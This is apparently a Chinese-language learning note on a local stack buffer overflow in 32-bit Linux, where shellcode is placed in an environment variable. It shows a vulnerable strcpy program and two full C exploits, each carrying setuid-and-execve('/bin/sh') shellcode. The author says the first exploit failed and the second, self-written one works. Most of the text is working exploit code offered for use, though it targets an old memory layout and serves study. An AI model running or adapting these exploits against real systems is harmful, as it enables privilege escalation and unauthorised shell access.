当缓冲区比较小,不足以放下shellcode时,可以利用环境变量,因为这部分内存是可写的,理论基础是:所有的Linux ELF可执行文件映射到内存时,会将最后一个相对地址映射为0xbfffffff。而环境和参数存储在该区域中,且该区域之下刚好是栈。下面是进程上部内存详细布局。
攻击目标代码:
//samllbuff.c
int main(int argc,char *argv[]){
char buff[10];
strcpy(buff,argv[1]);
printf("%s\n",buff);
}
exploit
#include<stdlib.h>
#include<stdio.h>
#define VULN "./smallbuff"
#define SIZE 160
char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc,char **argv){
char p[SIZE];
//将shellcode放到env中
char *env[]={shellcode,NULL};//字符指针数组,其成员是需要执行的shellcode
char *vuln[]={VULN,p,NULL};
int *ptr,i,addr;
//计算shellcode的精确位置
addr=0xbffffffa-strlen(shellcode)-strlen(VULN);
fprintf(stderr,"[***] using address:%#010x\n",addr);
/*用计算的地址填充缓冲区*/
ptr=(int *)p;
for(i=0;i<SIZE;i+=4) *ptr++=addr;
//用execle调用程序,该程序将环境变量作为输入
execle(vuln[0],vuln,p,NULL,env);
exit(1);
}
以上的exploit没有验证通过,后来经过调试分析,自己编了个,可以通过
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>
#define VULN "./smallbuff"
char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char *argv[])
{
long addr,*dtr; //dtr用于在缓冲区最后面写上shellcode地址用
char *env[]={shellcode,0}; //存储环境变量
char *buffer,*ptr; //ptr用于遍历buffer缓冲区
int size=10;
int i;
size=atoi(argv[1]); //获取buffer大小,比攻击的目标缓冲区大8个,所以缺点是必需知道缓冲区的大小
buffer=(char *)malloc(size);
addr=0xbffffffa-strlen(shellcode)-strlen(VULN);
fprintf(stderr,"[***] using address:%#010x\n",addr);
ptr=buffer;
for(i=0;i<(size-4);i++) *(ptr++)='\x90'; //把buffer的前面填上随意的东西就可,关键得有东西
dtr=(long *)ptr;
*dtr=addr;
printf("%s\n",buffer);
execle(VULN,"smallbuff",buffer,0,env);
}
关键是缓冲区地址安排的正好覆盖eip,多一点少一点都不行,还得加强gdb的学习。